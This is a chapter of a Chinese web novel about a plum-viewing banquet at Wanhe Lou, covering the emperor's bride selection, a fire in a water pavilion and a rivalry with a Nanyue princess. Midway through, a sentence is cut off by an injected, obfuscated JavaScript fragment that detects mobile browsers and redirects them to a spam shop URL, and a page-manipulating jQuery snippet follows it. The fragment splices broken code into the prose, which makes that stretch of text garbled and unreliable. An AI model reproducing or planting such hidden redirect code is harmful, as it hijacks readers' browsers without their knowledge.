虽然今日来的人里,有不少人之前也来万贺楼吃过饭,但对于这个处处透着巧思的园子还是百看不厌,甚至有些贪心的,恨不得将其占为己有才好。 因为大启对于男女大防,并没有那么严,所以今日来的公子小姐们,虽然不能聚在一起玩,而是自动各走一边,但也能远远看见对方,这让正是少年慕少艾年纪的一群年纪人,难免有些心猿意马。 虽然今日主要是替玄崇选妃,在场也没人敢和玄崇抢人,但玄崇即便是皇上,管天管地难道还能管他们心里在想什么。 而且玄崇进了园子后没一会人就不见了,说不定今天来的这些世家小姐,没一个合他眼缘的,那样他们不就有机会了。 “兄长,可是嫌园子里无聊?”正在厨房这边查看情况的沈金戈,见玄崇突然过来找自己,于是问他。 玄崇如实道:“嗯,难得出宫一趟,为兄也想偷一会懒。” 沈金戈自然知道玄崇这些年的不易,年复一年的被困于宫中,不仅没有亲人相伴,还得处处提防,要是她,恐怕早就疯了,所以帝王,真不是谁都能当的。 “兄长,这个给你。” 沈金戈想让玄崇今日能够短暂的做一回不用隐忍克制的寻常人,便从厨房里顺了三只鸡腿出来,随即递了一只给玄崇,另外还给了一只给寸步不离跟着玄崇的袁公公。 “多谢表小姐。”袁公公被沈金戈给他的那只顺来的鸡腿感动的眼泪汪汪的,他谢过沈金戈后,便给兄妹俩留出空间,不知隐到哪里啃鸡腿去了。 玄崇看着沈金戈偷偷摸摸拿出来的鸡腿,不由笑了,随后兄妹俩一人拿着一只鸡腿,也蹲到一个无人的角落里去啃了。 谢彦来厨房这边查看情况的时候,跟着他的韩离轻轻拉了拉他,随后指了一个角落,让谢彦朝那边看。 结果谢彦就看见玄崇和沈金戈竟然蹲在角落里啃鸡腿,要不是韩离,一般人还真发现不了。 谢彦看着兄妹俩一改平时的一本正经,不觉有些想笑,但更多的是羡慕。 他也没有打扰两人,还叮嘱万贺楼的伙计,今日不管看见皇上和沈将军做出什么异常的举动,都当没看见,更不准说出去。 万贺楼都是谢彦亲手培养出来的人,自然都听他的,而且沈将军和皇上都是他们最为敬重的人,他们怎么可能会去说沈将军和皇上的坏话。 只是沈金戈才陪玄崇啃完一只鸡腿,罗山就过来找他们了,说是南越的念月公主和北狄的太子都到了。 这两人本不在这次赏梅宴的邀请之列,但无论是谢彦,还是沈金戈和玄崇,都没有对他们的到来感到意外。 玄崇和沈金戈他们进了梅林后,就见念月正在太后身边陪她聊天,而且今日念月竟然没带面纱,露出她那张面容姣好的脸,不知是不是面纱戴久了,念月原本有些黑的皮肤,今日也显得异常白净。 她的这一举动,无疑让那个她可能被毒蛇咬伤脸的传闻不攻自破。 念月见玄崇和沈金戈走过来,率先起身,先是朝玄崇盈盈一拜,随即又冲沈金戈挑衅一笑:“沈将军,好久不见,没想到我们除了在战场上,竟然还能在万贺楼这样的地方见面。” 沈金戈却没接她的话,而是对跟来的罗山道:“万贺楼门口清清楚楚写着南越人不得入内,她为什么还能进来?” 罗山故作慌张道:“将军恕罪,实在是她有请帖,末将也只能让人放她进来。” “金戈啊,是哀家邀请南越长公主和北狄太子来的,你就不要为难守门的人了,哀家是觉得,远道而来便是客,而且你们都是年轻人,一定能玩到一块去,所以就邀请二位尊贵的客人过来了,只可惜西川的太子和小公主不知为何迟迟未到,不然今日只会更热闹。” “既然是太后的懿旨,臣自然不敢有意见。” 沈金戈说罢,和玄崇朝北狄太子的方向微微颔首,算是打了招呼,之后便走了。 北狄太子倒是神色如常,而念月则被沈金戈和玄崇的无视气得握紧了拳,不过面上倒是完全看不出她在生气。 因为大家在园子里耽搁了好一会,所以到梅林没多久,就到正午了。 今日无风,所以太后就和玄崇商量,想把午宴摆在梅林里,玄崇也没有反对。 不过太后说自己年纪大了,不比年轻人火力壮,便把她自己那桌,摆到了梅林里专门修建来赏梅的暖阁里。 可能为了防止被人诟病,她还让那些和她年纪相仿的夫人也一起到暖阁里去。 因为暖阁不算大,最多也就能摆三桌,所以最后太后带着念月和那些夫人在暖阁里吃席。 而年轻人包括玄崇这个皇帝在内,就都在露天吃席。 谢彦觉得这个魏太后简直有病,自己不想挨冻,却非要留别人在外面挨冻。 前面主楼大厅里明明那么暖和,她却偏不让人去那里吃席。 本来这和谢彦没多大关系,但沈金戈和他还有玄崇也得在露天地吃席,另外就是天气太冷,那些热菜很容易就会冷掉,到时要是有人吃了冷掉的荤菜再拉肚子,魏太后母子和那个念月一定会趁机找茬。 还好谢彦早就考虑过冬天菜冷得快的问题,所以等一个个加了炭火的小火炉被端上桌的时候,大家明显有些疑惑。 等各种花样百出的菜品被装在砂锅里,一一放到小火炉上的时候,众人才解惑了。 不过众人心里也不免犯嘀咕,心说这万贺楼是真不怕麻烦,毕竟就是皇宫里的御宴,也从来没有把所有热菜都放到小炉子上保温的,基本等吃到嘴里,都已经冷的透透的。 而且端上来的这些菜品,众人别说没见过,听都没听过,纵使在场的都是有见识的世家出来的人,但也看得眼花缭乱,如同刘姥姥第一次进大观园一般。 好在小二哥每上一道菜,就会把菜名和吃法一一解释清楚,有一些甚至还会替他们处理好放到每个人面前的碟子里,所以即便大家都不懂,也没有闹出什么笑话来,甚至吃得非常尽兴。 原本心思都在玄崇身上的那些世家贵女,一开始为了顾及形象,还有所顾忌,但等看到就连皇上和太后都在自顾自吃喝的时候,她们在不损形象的情况下,便也小口却快速的吃着。 玄容一边吃一边肉疼,毕竟如今在场那些吃得都顾不得身份形象的人,吃得可都是他的银子。 本来他还想乘机挑一挑谢彦的刺,但对那些不知所云却都非常美味的菜品,他实在是无从挑刺,要是一个搞不好,最后说不定还会被诡计多端的谢彦倒打一耙,不仅损失了银子,还要在这么多世家小姐公子面前丢了面子。 玄容觉得自己眼下能做的,就是多吃,至少要把本给吃回来,因为他戴着纱笠,而且大家的关注点又都在菜上,所以对于玄容纱笠下的嘴一直就没停过这事,根本就没空留意。 北狄太子喝着大启的国酒西风烈,那穿喉而过的灼烧感,以及一口下肚浑身燃起的暖意,让他觉得这冬日似乎也不那么冷了。 他在心里想,这酒要是运去冰天雪地的北狄,怕是要遭到哄抢,只可惜这酒不外卖。 随后他又从桌子上咕咚冒着热气的砂锅里,夹了一块羊肉放进嘴里,只是这羊肉和北狄人常吃的羊肉完全是两码事,没有一丝羊膻味,入口即化,味道更是绝美。 这让从小就以牛羊甚至是马肉和各种野物为主食的北狄太子,有些怀疑自己以前吃得那些到底是什么? 人都说大启吃□□细,他以前觉得大启的菜品也就那样,不过糕点确实精细。 只是糕点再精细,吃多了也会腻,哪有大口吃肉来得痛快,直到在万贺楼吃了这顿饭,他才知道,什么叫天地之大,多得是你没有见识过的东西。 他没有像在北狄时那样大块吃肉,大口喝酒,而是细细品尝着每一道都足以颠覆他之前二十几年认知的菜品,而目光却看向同玄崇还有沈金戈坐在一处的谢彦,不知为何又想到念月骂谢彦是废物的事,嘴角不由再次噙了一抹意味不明的笑。 午宴过后,各位客人就都被安排去小歇一会,之后还要留时间给那些世家小姐展示才艺的机会。 世家小姐们展示才艺的地方,依旧是在梅林,不得不说,玄崇作为一个皇帝,还真是挺不容易的,这么冷的天,还要在冷飕飕的梅林里看那些小姐弹琴作诗或是作画。 而且不管是才华横溢,还是才疏学浅,玄崇都还不能表现出自己的真实情绪,因为一旦他表现出自己的喜恶,可能就会有人依照他的喜恶去作出一系列的逆天操作。 当然,最不容易的还是那些小姐们,这么冷的天,还要伸手出来写字弹琴或是作画,特别是那些展示舞蹈的小姐,为了舞能跳的轻盈好看,大冬天只着一身单薄的舞衣,也是拼了。 本来谢彦是准备让众人在前面主楼大厅里做这些事的,但魏太后依旧不同意,她还是那句话,既然是赏梅宴,自然就要应景。 不过魏太后自己以及那些贵夫人,依旧坐在梅林的暖阁里,透过透明的琉璃窗去看外面的情形,只留下一群年轻人在外面冻的瑟瑟发抖。 不过让人奇怪的是,这次几乎京城所有世家小姐都来了,唯独魏相家,却没有来一个夫人小姐。 不过魏太后在,今日来的人即便好奇,也无人敢问,也有人觉得可能是魏太后为了避嫌,才没让自己娘家人过来。 虽说玄崇今日只是为了配合某些人演戏,但等所有人都展示完才艺后,沈金戈还是悄悄问玄崇,这些世家小姐里,可有他心仪的人。 这次来的世家小姐都年纪尚小,最大也不过年芳十八,沈金戈对于京城这些年纪小的姑娘也不是很了解,玄崇又常年不出宫,自然就更不了解了,所以他们只能通过这些小姐们的言行举止来观察她们的为人。 最终两人都觉得工部吕大人家的长女吕青慈无论是相貌,还是秉性才情都不错,不过玄崇却只是站在一个客观的角度去做评价,而并非对她有意。 沈金戈一个过来人,自然能理解玄崇,如果不能遇到一眼惊艳的人,没有人能立刻对一个毫不了解的陌生人产生感情。 以玄崇的态度来看,他今日怕是没能遇到自己心仪之人,不过这种事也不能操之过急。 虽说玄崇娶妻,不是他一个人的事,而是整个大启的事,但沈金戈还是希望,玄崇能娶到自己喜欢的女子,而不是迫于别人的压力,去选择在别人眼中适合他的人。 各位小姐在表演完各自的才艺后,见玄崇并未表现出对谁特别在意,也没有刻意忽略谁,不免有些失望,又加上在外面冻了将近一天,所以等回到前面主楼里去吃晚饭的时候,所有人的兴致都不太高。 就连坐在暖阁里的那些小姐们的母亲,也因为心疼自家孩子心情不佳,但也敢怒不敢言,毕竟如今的大启已经不是之前的大启,之前他们这些世家,甚至可以不把玄崇这个皇帝放在眼里,但现在,他们已经学会了识时务。 不过等大家一进入暖意融融的室内,原本情绪不高的众人,似乎又活过来了。 晚膳的菜品相比较中午的作了调整,以清淡的粤式菜系和茶点为主,薄如蝉翼的虾饺,好吃的金钱肚,蒸排骨,各种让人眼花缭乱的各种馅料的茶点,当冒着热气一笼笼被端上来的时候,又让众人再次大开眼界。 这次别说玄容,就连北狄太子也一改中午的慢嚼细品,没一会功夫,他一个人的面前,就堆了一大堆小二哥还没来得及收走的小笼。 而其他那些被拉来当陪衬的世家贵公子们也不妨多让,仿佛饿死鬼投胎,吃得一个个腰都快直不起来了。 不过即便北狄太子和那些世家贵公子战斗力惊人,但还是输给了这次出钱的玄容。 而看似能吃的玄崇和沈金戈兄妹俩,面前的小笼竟然还不如魏太后和念月面前的多。 谢彦看着玄容面前都快能把他给埋了的那些小笼,在心里翻了个白眼,心说玄容这为了吃回本,还真是够拼的,也不怕撑死。 玄容见谢彦脸色不好看,还以为他是在心疼被他们吃进肚子里的那些一看就价格不菲的各种美食,不由有些得意。 虽然现在他确实撑的难受,但只要能让谢彦肉疼,他就高兴。 因为玄崇一直是个勤政爱民的好皇帝,所以即便太后和贤王在晚膳时,话里话外都透着想要在万贺楼住一晚再走的意思,最后都被玄崇以国事耽搁不得拒绝了。 皇上都要回宫了,要是太后坚持要留下,说不定等下就能被人扣个贪图享乐的名声,那她半辈子经营的好名声,就要功亏一篑了。 不过就在玄崇确定不留下过夜的决定后,园子里靠近荷塘那边的水榭就突然起火了。 冬日荷塘那边根本没什么人去,毕竟只有一塘残荷,有什么好看的。 但现在也不是追究这些的时候,救火要紧。 为了就近取水,救火的人只能把结了冰的荷塘凿出了不少冰窟窿,从塘中取水救火。 来的宾客见状,也纷纷让自家下人过去帮忙,毕竟京城里的建筑大部分都是木质的,一旦烧起来,那就不是只烧万贺楼一家的事了。 虽然水榭那边四处不靠,但晚上却起风了,一旦火星子被风刮的四处乱窜,也后患无穷。 就连念月都让人去外面通知她带来的几个体型高大的侍女,跟过去帮忙。 念月见坐在她对面的沈金戈,竟然纹丝不动:“沈将军不愧是大启第一女战神,都这种时候了,竟然还坐得住。” 其实不仅沈金戈没动,除了谢彦这个老板去了后面查看情况外,就连负责上菜和伺候的小二哥也是各司其职,完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430510|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有丢掉手中的活跑去救火。 “本将军今日的职责,就是保护皇上和太后的安全,以免被居心叵测之徒钻了空子,至于走水的事,自有人去负责。” 念月闻言,倒也没有生气,整个人似乎还放松了不少,甚至颇为赞同沈金戈的决定:“皇上和太后的安全,确实不容有丝毫闪失。” 一旁的魏太后闻言道:“金戈打小就和寻常女子不同,就没有什么事能让她慌的,有她在,哀家和陛下倒是一点都不担心。” 她说完还看向了玄崇的方向,玄崇见状点了点头:“太后说的及是,有金戈在又何止是朕和太后安心,就是整个大启百姓也很安心。” 玄崇对于别人夸沈金戈这件事,似乎从来不去区分真情还是假意,一律照单全收。 等晚膳差不多结束,谢彦才从后面回来,说是火已经灭了,不过那个水榭也烧的片瓦不留。 至于起火的原因,尚未查明。 “依哀家看,应该是哪家淘气的孩子玩火不慎点着了,也不必再查了,今日来的都是世家的小姐和公子,要认真查起来,哀家这个提出要办赏梅宴的人责任最大,毕竟要是哀家不邀请他们,他们也不能犯这个错,不如就让他们高高兴兴的来,高高兴兴的回去吧。” 在场的那些夫人,见太后查都不查,就直接把好大一口锅,扣到了各家来的孩子身上,心里都有些气不过,不过她们其中有些人也清楚自家孩子是什么德行,还别说,这事还真有可能是他们其中的谁干的。 这件事要是真查出来,那罪名可大可小,往小了说,赔万贺楼那个烧掉的水榭的银子。 往大了说,今日皇上太后都在,竟然有人敢故意纵火,那就是居心叵测,搞不好小命都得搭进去,所以最终所有人都没有坚持要查清楚这件事。 “月之,既然太后都如此说了,水榭走水的事,你就不要追究了,不过水榭那边的损失,你算一算,到时朕来想办法赔给你。” 玄崇此话一出,让那些怀疑很可能是自家孩子干的人,都莫名有些心虚的低下了头。 “今日陛下和太后能移驾万贺楼,已经足以令万贺楼蓬荜生辉,水榭那边的损失,自然不能让陛下来赔,虽然那个水榭窗户上和室内的摆件,都是用琉璃来装饰的,价值无法估量,但只要陛下和太后今日在万贺楼能够尽兴,无论损失多少对臣而言都值了。” 谢彦的一番话,让在场那些怀疑是自家孩子干的人更加不敢吭声了,之前她们都忘了,万贺楼可是有着琉璃阁之称的,不管是前面新建的主楼,还是后面园子里的那些亭台楼阁,门窗上也都装了琉璃,而用来装饰的琉璃摆件更是每个房间都有。 要是单单一个水榭,在场的谁家都赔得起,但要是琉璃,即便只是一小块,她们赔起来也会肉疼无比,就更不要说那么多的琉璃了。 她们此刻终于有些理解,太后刚才为什么说不让谢彦继续查了,这要真查出来,无论是谁家孩子干的,估计都得赔个倾家荡产。 只是所有人都没想到,一向爱财的谢彦,今日竟然这般大方,那么多的银子,说不要就不要了,甚至很多人都好奇,谢彦的这些琉璃到底是从哪买来的? 不过这种话,但凡还要点脸的人都不会问,毕竟谢彦又不是傻子,即便他们问了,谢彦又怎么可能告诉他们这些外人。 没想到还真有不要脸的,就在众人好奇谢彦这些琉璃到底是哪里来的时候,就有人替他们问了: “本公主有些好奇,万贺楼的这些琉璃,谢大人到底是从哪里弄来的,毕竟就连西川都没有这么多的琉璃。” 谢彦看了念月一眼,那一眼像是再看一个白痴:“本来本官以为,念月公主最多就是嚣张跋扈,自私自利,至少脑子还是有的,不过今日看来,本官要对先前的认知做纠正,你这个问题,就连我大启的国君和太后都怕本官为难,所以从不过问这些琉璃的出处,你觉得本官会告诉你一个南越人。” 一旁的玄容闻言,简直要懊恼死了,其实他比谁都好奇谢彦的这些琉璃到底是怎么弄出来的,他甚至还派人跟踪过,但每次派出去的人,都是有去无回。 要是早知道自己母后问的话谢彦不敢不说,他就让自己母后来问了,但如今谢彦此话一出,要是再问,那他母后的名声也就别想要了。 念月隐在扩袖下的手,气得都暴青筋了,但脸上的表情还是无太大变化:“本公主只是太过好奇,既然谢大人不想说便不说罢了,又何必语出伤人,本公主今日好歹也是太后邀请来的,你如此对待太后邀请来的客人,不知又将太后置于何地?” “太后邀请你来,自然是出于她老人家开阔的胸襟和修养,觉得但凡来我大启者,都该以礼待之,但这却不代表太后就忘记了那些死于你们南越之手的冤魂,你若是想利用太后的善意在我大启狐假虎威,那你就打错算盘了。” “你” 念月被气得说了个你字,就被玄崇打断了:“月之所言也正是朕和太后想说的,在我大启,即便三岁孩童都知道,己所不欲勿施于人的道理,如果今日朕要问你,南越的那些巫术和蛊术,具体是如何操作的,念月公主可否能肯如实告知?” “我” 念月被玄崇堵的一时说不出话来。 “既然念月公主自己都做不到的事,为何还要强迫别人去做,甚至还想利用我大启太后,太后她老人家虽然上了年纪,但也不是你可以随意利用的。” 魏太后原本还想说些什么,奈何被谢彦和玄崇两人就这么给架起来了,现场又有这么多人看着,她也只能顺着玄崇的话说下去: “陛下和谢大人说的没错,哀家原本觉得和念月公主投缘,只是如今念月公主的表现,真是让哀家失望至极,既然念月公主这次来大启,毫无半点诚意,哀家看这大启你也不必再待了,明日便离开吧!” 魏太后说完,直接让身边的大宫女送客。 就在这时,念月带来的那几个体型高大的侍女也回来了,念月见状,也没再赖着不走,带着自己的人,离开了万贺楼。 “今日多谢太后盛情相邀,本宫玩的甚为尽心,不虚此行,就不再叨扰了,就此告辞!” 念月走后,除了吃喝就一直在当隐形人的北狄太子,不知是不是怕也被撵出去,自己主动提出告辞,说完他给玄崇行了个北狄面见君王时的礼节,又冲沈金戈和谢彦微微颔首,便离开了。 北狄太子走后,玄崇和魏太后也准备摆驾回宫了。 魏太后走前,目光还在万贺楼里环视了一圈,随后对谢彦道:“万贺楼,确实当得起这天下第一楼的称谓。” 就在谢彦准备谢过魏太后褒奖的时候,就听她又道:“不过万事万物,物极必反,谢大人还年轻,凡事还是要脚踏实地,方能走的长远。” “臣谨记太后提点。” 魏太后闻言点了点头,这时一旁的玄崇道:“今日万贺楼上下接驾有功,每人赏银百两。” 一旁的袁公公闻言,立刻从袖子里掏出一叠可能早就准备好的银票,递给了谢彦。 谢彦没想到玄崇竟如此大方,意外过后,便带着万贺楼一干人等跪下谢恩。 魏太后见玄崇都赏了,自己身为太后,要是不赏,怕会被人诟病,因此也只能捏着鼻子,赏了万贺楼所有人每人八十两银子。 等玄崇和太后等人都离开后,谢彦便把他们刚才给的赏银分给众人,万贺楼上到掌柜和大厨,下到小二哥和专门负责洒扫的人,一个都没落下,就连韩离和沈金戈带来负责护卫差事的部下都有。 至于玄崇派来看场子的那几个一直隐藏在暗处的暗卫,谢彦则自掏腰包给他们发了同样数目的银子。 “我滴个乖乖,还是在京城这样的地方来钱快。” 罗山看他们这么短的工夫,就赚了一百八十两的赏银,拿着银票乐开了花。 大家听了他的话也都笑了起来,不过笑过之后,所有人该干嘛就干嘛,负责洒扫的,就去打扫整理,万贺楼的大师傅则带人去给大家加餐。 而负责护卫的那些暗卫和在明处的韩离罗山他们,则过来跟谢彦和沈金戈汇报情况。 据韩离等人说,所有客人午休住过的客房里的琉璃摆件,全都不见了,至于荷塘边起火的水榭,则在起火前,水榭里的琉璃摆件和门窗上的琉璃,就事先被人拿走了。 谢彦闻言神色如常,觉得背后这些人做事还是有些手段的,真正做到了浑水摸鱼,按他们的计划,就是无差别的给今日在万贺楼的每个人都泼上脏水。 他们可能觉得这样做,即便自己能猜到是谁拿的,想追究都不敢去追究了,不然就是把京城里的所有世家权贵都得罪干净了,就连北狄太子和南越长公主也都牵扯其中。 而且要认真追究起来,就连皇上和太后还有贤王也都脱不了嫌疑,最终他就只能吃下这个哑巴亏。 要是他不想吃这个哑巴亏,决心把事情闹大,那些人自然也有后手在等着他。 不过那些琉璃他们没带走一件,就只是趁乱丢到了万贺楼的荷塘里,又或是他们根本就没打算带走。 虽然那些琉璃对于寻常人来说已是一笔巨额财富,但幕后的始作俑者,盯上的又何止是那么一点琉璃。 沈金戈在听完韩离的话后,和谢彦低声说了几句,便带着罗山等人匆匆离开。 谢彦也没闲着,带着韩离连夜进宫,只是在半道上,忽然听到路边传来女子凄婉的哭声。 那个声音有些耳熟,谢彦不由勒住缰绳,下马查看,韩离也跟着下了马。 “阿彦,没想到我都快死了,还能在临死前见到你,也算无憾了,对不起,以前都是我的错。” 谢彦看着倒在路边的李兰湘,虽然天太黑,看不太清楚她的脸,但那声音明显就是她的。 谢彦没有回她的话,就那么立在黑暗里,让人只能看到他的一个模糊的影子,却无法看清他的表情。 “我知道你还在怪我,我也不求你原谅,只是在临死前,我想单独和你说几句心里话,不知可不可以?” 谢彦闻言,又沉默了半晌,才让身旁的韩离先离开一会,等自己叫他再回来。 韩离明显不想走,但谢彦已经决定了,韩离最终只能先离开。 黑暗中的李兰湘见韩离走了,嘴角勾起一抹阴冷的笑。